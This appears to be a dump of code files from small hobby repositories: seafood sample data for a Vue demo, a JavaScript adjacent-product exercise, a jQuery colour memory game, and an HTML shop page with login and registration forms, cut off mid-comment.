3dd856d95cf8be7283d4b57eeaff8bfc09cb4941
|
[
"PHP"
] | 3 |
PHP
|
blackjack-1337/crud-panel
|
df9dd0b25ef8618cd8a042ec6af1d9ee839c852c
|
60a5c2acf1e179e79104fbb8156cc2ee2d8e3131
|
refs/heads/master
|
<repo_name>StanSluisveld/vue-demo<file_sep>/src/sample-fishes.js
// This is just some sample data so you don't have to think of your own!
module.exports = {
fish1: {
name: 'Pacific Halibut',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish2: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish3: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish4: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish5: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish6: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish7: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish8: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish9: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish10: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish11: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish12: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish13: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish14: {
name: 'King Crab',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish15: {
name: 'Atlantic Salmon',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish16: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish17: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish18: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish19: {
name: 'Pacific Halibut',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish20: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish21: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish22: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish23: {
name: 'King Crab',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish24: {
name: 'Atlantic Salmon',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish25: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish26: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish27: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish28: {
name: 'Pacific Halibut',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish29: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish30: {
name: 'Sea Scallops',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish31: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish32: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish33: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish34: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish35: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish36: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish37: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish38: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish39: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish40: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish41: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish42: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish43: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish44: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish45: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish46: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish47: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish48: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish49: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish50: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish51: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish52: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish53: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish54: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish55: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish56: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish57: {
name: 'Sea Scallops',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish58: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish59: {
name: 'King Crab',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish60: {
name: 'Atlantic Salmon',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish61: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish62: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish63: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
},
fish64: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/36248396/5/stock-photo-36248396-blackened-cajun-sea-bass.jpg',
desc: 'Everyones favorite white fish. We will cut it to the size you need and ship it.',
price: 1724,
status: 'available'
},
fish65: {
name: 'Lobster',
image: 'http://i.istockimg.com/file_thumbview_approve/32135274/5/stock-photo-32135274-cooked-lobster.jpg',
desc: 'These tender, mouth-watering beauties are a fantastic hit at any dinner party.',
price: 3200,
status: 'available'
},
fish66: {
name: 'Sea Scallops',
image: 'http://i.istockimg.com/file_thumbview_approve/58624176/5/stock-photo-58624176-scallops-on-black-stone-plate.jpg',
desc: 'Big, sweet and tender. True dry-pack scallops from the icey waters of Alaska. About 8-10 per pound',
price: 1684,
status: 'unavailable'
},
fish67: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/12556651/5/stock-photo-12556651-mahimahi.jpg',
desc: 'Lean flesh with a mild, sweet flavor profile, moderately firm texture and large, moist flakes. ',
price: 1129,
status: 'available'
},
fish68: {
name: 'King Crab',
image: 'http://i.istockimg.com/file_thumbview_approve/18294110/5/stock-photo-18294110-king-crab-legs.jpg',
desc: 'Crack these open and enjoy them plain or with one of our cocktail sauces',
price: 4234,
status: 'available'
},
fish69: {
name: 'Atlantic Salmon',
image: 'http://i.istockimg.com/file_thumbview_approve/56241842/5/stock-photo-56241842-salmon-fish.jpg',
desc: 'This flaky, oily salmon is truly the king of the sea. Bake it, grill it, broil it...as good as it gets!',
price: 1453,
status: 'available'
},
fish70: {
name: 'Oysters',
image: 'http://i.istockimg.com/file_thumbview_approve/58626682/5/stock-photo-58626682-fresh-oysters-on-a-black-stone-plate-top-view.jpg',
desc: 'A soft plump oyster with a sweet salty flavor and a clean finish.',
price: 2543,
status: 'available'
},
fish71: {
name: 'Mussels',
image: 'http://i.istockimg.com/file_thumbview_approve/40450406/5/stock-photo-40450406-steamed-mussels.jpg',
desc: 'The best mussels from the Pacific Northwest with a full-flavored and complex taste.',
price: 425,
status: 'available'
},
fish72: {
name: '<NAME>',
image: 'http://i.istockimg.com/file_thumbview_approve/67121439/5/stock-photo-67121439-fresh-tiger-shrimp-on-ice-on-a-black-stone-table.jpg',
desc: 'With 21-25 two bite prawns in each pound, these sweet morsels are perfect for shish-kabobs.',
price: 2250,
status: 'available'
}
};
|
eea2061f2922535ecf47c944ee0130472b8a4d1b
|
[
"JavaScript"
] | 1 |
JavaScript
|
StanSluisveld/vue-demo
|
782dfc1536a0480baca086b3eb0512e573d5e01b
|
9f91084454cd1de882e97db000e4db9472025b49
|
refs/heads/master
|
<file_sep>
function aa(a) {
var b = a[0]*a[1]
for (i=1; i<(a.length-1); i++ ){
if (a[i]*a[(i+1)]>b){
b=a[(i+1)]*a[i]
}
}
return b
}
document.write(aa([3,6,-2,-5,7,3]))
document.write("<br/>")
document.write(aa([-3,1,-2,6,-8]))
document.write("<br/>")
document.write(aa([-1,1,-2,6,-8]))
|
94fb1e0edc3ba368a1f0e12aac7ed20488796ac3
|
[
"JavaScript"
] | 1 |
JavaScript
|
jiahao00/wod_day_2
|
fd2cd1a0f0d487271d22a9856a89a4e645d14dc0
|
2cddc9d072a0d337691224c6a77b77eb700a08aa
|
refs/heads/master
|
<repo_name>Prachiagarwal5678/game<file_sep>/game.js
//alert("hi");
var colours= ["red","blue","green","yellow"];
var pattern=[];
var userpattern=[];
var level=0;
function animate(randomchoose)
{
$("#"+randomchoose).fadeIn(100).fadeOut(100).fadeIn(100);
}
function play(randomchoose)
{
var audio=new Audio('sounds/' +randomchoose+ '.mp3');
audio.play();
}
function animatepress(userchoice)
{
$("#"+userchoice).addClass("pressed");
setTimeout(function(){
$("#"+userchoice).removeClass("pressed");
},100);
}
function nextsequence()
{
var random=Math.floor(Math.random()*4);
var randomchoose=colours[random];
pattern.push(randomchoose);
animate(randomchoose);
play(randomchoose);
$("#level-title").text("Level "+level);
level++;
userpattern=[];
}
function check()
{
var i;
var flag=true;
for(i=0;i<pattern.length;i++)
{
if(pattern[i]===userpattern[i])
continue;
else
flag=false;
}
if(flag&&i===(pattern.length))
{
setTimeout(function(){
nextsequence(); },1000);
}
else{
var audio=new Audio('sounds/wrong.mp3');
audio.play();
setTimeout(function(){
$(document).addClass("game-over"); },200);
$("#level-title").text('Game Over');
startover();
setTimeout(function(){
$("#level-title").text('Press A Key to Start'); },2000);
}
}
function startover()
{
level=0;
started=true;
pattern=[];
userpattern=[];
}
var started=true;
$(document).keypress(function(){
if(started===true)
{
nextsequence();
started=false;
}
})
$( ".btn" ).click(function() {
var userchoice=this.id;
userpattern.push(userchoice);
play(userchoice);
animatepress(userchoice);
if(userpattern.length===pattern.length)
check();
else{
for(i=0;i<userpattern.length;i++)
if(pattern[i]!=userpattern[i])
{
var audio=new Audio('sounds/wrong.mp3');
audio.play();
setTimeout(function(){
$(document).addClass("game-over"); },200);
$("#level-title").text('Game Over');
startover();
setTimeout(function(){
$("#level-title").text('Press A Key to Start'); },2000);
}
}
});
|
0313a33118ea22bfc46dfdb2852057645a1404e7
|
[
"JavaScript"
] | 1 |
JavaScript
|
Prachiagarwal5678/game
|
686d5f3becd5846fa697fa15d883b9f79fc0d3d0
|
6724069e65544f07d7143529fa968767d7024fa4
|
refs/heads/master
|
<file_sep>#include<iostream>
using namespace std;
void arrange(int arr[] , int size1){
int j=0;
for(int i=0;i<size1;i++){
if(arr[i]<0){
if(i != j){
// cout <<"value of i "<< i<<'\n';
// cout <<"value of j "<< j<<'\n';
swap(arr[i],arr[j]);
}
j++;
}
}
}
void printarray(int arr[],int n){
for(auto i =0; i<n;i++){
cout << arr[i] << " ";
}
}
int main(){
int n;
cout << "Enter the number of elements in array\n";
cin >> n;
int arr[n];
cout << "\nEnter elements of array\n";
for(auto i = 0; i<n;i++){
cin >> arr[i];
}
int size1 = sizeof(arr)/sizeof(arr[0]);
cout << '\n';
arrange(arr , size1);
printarray(arr,size1);
return 0;
}
<file_sep>class Solution {
public:
int findDuplicate(vector<int>& nums) {
sort(nums.begin(), nums.end());
int result;
for(int i=0;i<nums.size()-1;i++){
if(nums[i]==nums[i+1]){
result = nums[i];
}
}
return result;
}
};<file_sep>#include <iostream>
#include <bits/stdc++.h>
#include <vector>
#include <sstream>
using namespace std;
void reverse(int arr[],int size1){
int temp;
int start = 0;
int end = size1-1;
while(start<end){
temp=arr[start];
arr[start] = arr[end];
arr[end]=temp;
start++;
end--;
}
}
void printArray(int arr[],int size1){
for(auto i=0;i<size1;i++){
cout << arr[i] <<" ";
}
}
int main(){
int n;
cout << "Enter Numer of elements of array\n";
cin >> n;
int arr[n];
cout << "\nEnter Elements Of Array\n";
for(auto i=0 ;i<n;i++){
cin >>arr[i];
}
int size1= sizeof(arr)/sizeof(arr[0]);
reverse(arr,size1);
printArray(arr,size1);
return 0;
}<file_sep>// { Driver Code Starts
//Initial function template for C++
#include<iostream>
using namespace std;
int kthSmallest(int *, int, int, int);
int main()
{
// ios_base::sync_with_stdio(false);
// cin.tie(NULL);
int test_case;
cin>>test_case;
while(test_case--)
{
int number_of_elements;
cin>>number_of_elements;
int a[number_of_elements];
for(int i=0;i<number_of_elements;i++)
cin>>a[i];
int k;
cin>>k;
cout<<kthSmallest(a, 0, number_of_elements-1, k)<<endl;
}
return 0;
}// } Driver Code Ends
//User function template for C++
// arr : given array
// l : starting index of the array i.e 0
// r : ending index of the array i.e size-1
// k : find kth smallest element and return using this function
int kthSmallest(int arr[], int l, int r, int k) {
//code here
sort(arr , arr+(r+1));
// for (int i = 0; i <= r; ++i)
// cout << arr[i] << " ";
// cout << "returned Element";
return arr[k-1];
}<file_sep>#include <iostream>
#include <bits/stdc++.h>
using namespace std;
struct Pair{
int min;
int max;
};
struct Pair getminmax(int arr[],int n){
struct Pair minmax;
int i;
if(n==1){
minmax.min=arr[0];
minmax.max= arr[0];
}
// initilize minmax.min and minmax.max
if(arr[0]>arr[1]){
minmax.min = arr[1];
minmax.max = arr[0];
}else{
minmax.min = arr[0];
minmax.max = arr[1];
}
for(i = 2; i < n; i++)
{
if (arr[i] > minmax.max)
minmax.max = arr[i];
else if (arr[i] < minmax.min)
minmax.min = arr[i];
}
return minmax;
}
int main(){
int n;
cout << "Enter Numer of elements of array\n";
cin >> n;
int arr[n];
cout << "\nEnter Elements Of Array\n";
for(auto i=0 ;i<n;i++){
cin >>arr[i];
}
int size1= sizeof(arr)/sizeof(arr[0]);
struct Pair minmax = getminmax(arr , size1);
cout << "\n Max number of array is " << minmax.max<<"\n";
cout << "\n Min number of array is " << minmax.min<<"\n";
return 0;
}<file_sep>// { Driver Code Starts
//Initial template for C++
#include <bits/stdc++.h>
using namespace std;
// } Driver Code Ends
//User function template for C++
class Solution{
public:
int getMinDiff(int arr[], int n, int k) {
sort(arr,arr+n);
int i,mx,mn,ans;
ans = arr[n-1]-arr[0]; // this can be one possible solution
for(i=0;i<n;i++)
{
if(arr[i]>=k) // since height of tower can't be -ve so taking only +ve heights
{
mn = min(arr[0]+k, arr[i]-k);
mx = max(arr[n-1]-k, arr[i-1]+k);
ans = min(ans, mx-mn);
}
}
return ans;
}
};
// { Driver Code Starts.
int main() {
int t;
cin >> t;
while (t--) {
int n, k;
cin >> k;
cin >> n;
int arr[n];
for (int i = 0; i < n; i++) {
cin >> arr[i];
}
Solution ob;
auto ans = ob.getMinDiff(arr, n, k);
cout << ans << "\n";
}
return 0;
} // } Driver Code Ends
|
f5d3c735e252a5841b06e78bbc011318034ab7de
|
[
"C++"
] | 6 |
C++
|
Omkar-Najan/DSA_Questions
|
c229904f3f1e3b9b0eb30205315d495b5bf0b89f
|
63f39cf4e2a5a55098536d71467a9fbfd1cf39ad
|
refs/heads/master
|
<file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://fonts.googleapis.com/css2?family=Raleway:ital,wght@1,800&display=swap"
rel="stylesheet">
<script src="https://kit.fontawesome.com/a076d05399.js"></script>
<link rel="stylesheet" href="home.css">
<!-- The core Firebase JS SDK is always required and must be listed first -->
<title>Let's Shop</title>
</head>
<body>
<div class="header">
<div class="container">
<nav class="navbar">
<div class="brand-title"><img src="assets/logo.png" alt="" width="125px"></div>
<a href="#" class="toggle-button">
<span class="bar"></span>
<span class="bar"></span>
<span class="bar"></span>
</a>
<div class="navbar-links">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="">Products</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li><a href="">Myaccount</a></li>
<li><button type="button" class="btn" data-toggle="modal" data-target="#cart"><h1><i class="fas fa-shopping-cart"></i>
</h1><span class="total-count"></span></button></li>
<!-- <li><h1><i class="fas fa-shopping-cart"></i></h1></li> -->
</ul>
</div>
</nav>
</div>
</div>
<!-- account -->
<div class="account-page">
<div class="container">
<div class="row">
<div class="col-2">
<img src="assets/banner_img.png" >
</div>
<div class="col-2">
<div class="form-container">
<div class="form-btn">
<span onclick="login()">Login</span>
<span onclick="register()">Register</span>
<hr id="ind">
</div>
<form action="" id="loginform" method="post">
<input type="text" placeholder="Username" id="user" name="user" required><br>
<input type="<PASSWORD>" placeholder="<PASSWORD>" id="pass" name="pass" required><br>
<button type="submit" class="btn1" name="login" id="login">Login</button><br>
<a href="">Forgot Password</a>
</form>
<form action="registration.php" id="rgnform" method="POST">
<input type="text" placeholder="Username" name="user" id="user" required><br>
<input type="email" placeholder="Email" name="mail" id="mail" required><br>
<input type="<PASSWORD>" placeholder="<PASSWORD>" name="pass" id="pass" required><br>
<button type="submit" class="btn1">Register</button>
</form>
</div>
</div>
</div>
</div>
</div>
<div class="footer">
<div class="container">
<div class="row">
<div class="footer-col-1">
<h3>Download our app</h3>
<p>Download Our app for android and ios</p>
<div class="aoo-logo">
<img src="assets/play-store.png" alt="">
<img src="assets/app-store.png" alt="">
</div>
</div>
<div class="footer-col-2">
<img src="assets/logo.png">
<p>kjkkhuyngb</p>
</div>
<div class="footer-col-3">
<h3>Quick links</h3>
<ul>
<li>About</li>
<li>Blog post</li>
<li>Contact</li>
<li>Wishlist</li>
</ul>
</div>
<div class="footer-col-4">
<h3>Follow us</h3>
<ul>
<li>Facebook</li>
<li>Twitter</li>
<li>Instagram</li>
<li>Linkedin</li>
</ul>
</div>
</div>
<hr>
<p class="copyright">Copyright © 2020-meghana</p>
</div>
</div>
<script>
var loginform = document.getElementById("loginform");
var rgnform = document.getElementById("rgnform");
var indicator = document.getElementById("ind");
function register(){
rgnform.style.transform = "translateX(0px)";
loginform.style.transform = "translateX(0px)";
indicator.style.transform = "translateX(100px)";
}
function login(){
rgnform.style.transform = "translateX(300px)";
loginform.style.transform = "translateX(300px)";
indicator.style.transform = "translateX(0px)";
}
</script>
<script src="https://www.gstatic.com/firebasejs/8.0.0/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.0.0/firebase-auth.js"></script>
<!-- TODO: Add SDKs for Firebase products that you want to use
